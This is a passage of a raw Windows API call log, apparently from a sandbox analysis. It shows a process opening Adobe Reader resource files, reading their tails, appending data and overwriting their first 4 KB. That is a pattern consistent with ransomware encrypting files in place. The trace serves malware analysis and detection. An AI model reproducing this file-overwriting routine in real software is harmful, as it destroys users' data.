[0041.823] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.824] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5f48 [0041.825] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5f48 [0041.826] WriteFile (in: hFile=0x168, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.826] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.826] CloseHandle (hObject=0x168) returned 1 [0041.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.827] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.827] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e8e [0041.827] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.827] ReleaseMutex (hMutex=0x128) returned 1 [0041.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_CH.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 30 [0041.828] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.837] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e8e [0041.837] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.838] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e8e [0041.838] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.839] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.839] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.839] CloseHandle (hObject=0x168) returned 1 [0041.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.840] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.840] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6aae [0041.840] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.840] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.840] ReleaseMutex (hMutex=0x128) returned 1 [0041.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd8c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv.txt", lpUsedDefaultChar=0x0) returned 27 [0041.840] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.842] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5aae [0041.842] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.842] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5aae [0041.842] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.843] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.843] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.843] CloseHandle (hObject=0x168) returned 1 [0041.843] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.844] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.844] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e56 [0041.844] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.844] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.844] ReleaseMutex (hMutex=0x128) returned 1 [0041.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd8c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl.txt", lpUsedDefaultChar=0x0) returned 27 [0041.844] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.845] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e56 [0041.845] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.846] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e56 [0041.846] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.847] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.847] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.847] CloseHandle (hObject=0x168) returned 1 [0041.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.848] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.848] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6d76 [0041.848] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.848] ReleaseMutex (hMutex=0x128) returned 1 [0041.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd8c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 27 [0041.848] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.849] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5d76 [0041.849] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.850] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5d76 [0041.850] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.850] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.850] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.851] CloseHandle (hObject=0x168) returned 1 [0041.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.852] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.852] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x724e [0041.852] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.852] ReleaseMutex (hMutex=0x128) returned 1 [0041.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk_UA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0041.852] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.854] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x624e [0041.854] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.855] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x624e [0041.855] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.855] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.855] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.855] CloseHandle (hObject=0x168) returned 1 [0041.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.265] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.268] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8000 [0042.268] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.268] ReleaseMutex (hMutex=0x128) returned 1 [0042.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt32.clx", lpUsedDefaultChar=0x0) returned 9 [0042.270] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.278] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7000 [0042.278] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.280] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7000 [0042.280] WriteFile (in: hFile=0x1cc, lpBuffer=0x280e5f8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e5f8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.280] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0042.280] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.281] CloseHandle (hObject=0x1cc) returned 1 [0042.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.284] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.284] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1240 [0042.284] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.284] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.284] ReleaseMutex (hMutex=0x128) returned 1 [0042.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.fca", lpUsedDefaultChar=0x0) returned 7 [0042.284] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1240, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x1240, lpOverlapped=0x0) returned 1 [0042.288] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0042.288] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x17c8, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x17c8, lpOverlapped=0x0) returned 1 [0042.288] CloseHandle (hObject=0x1ac) returned 1 [0042.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.295] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.295] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x314 [0042.295] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0042.295] WaitForSingleObject 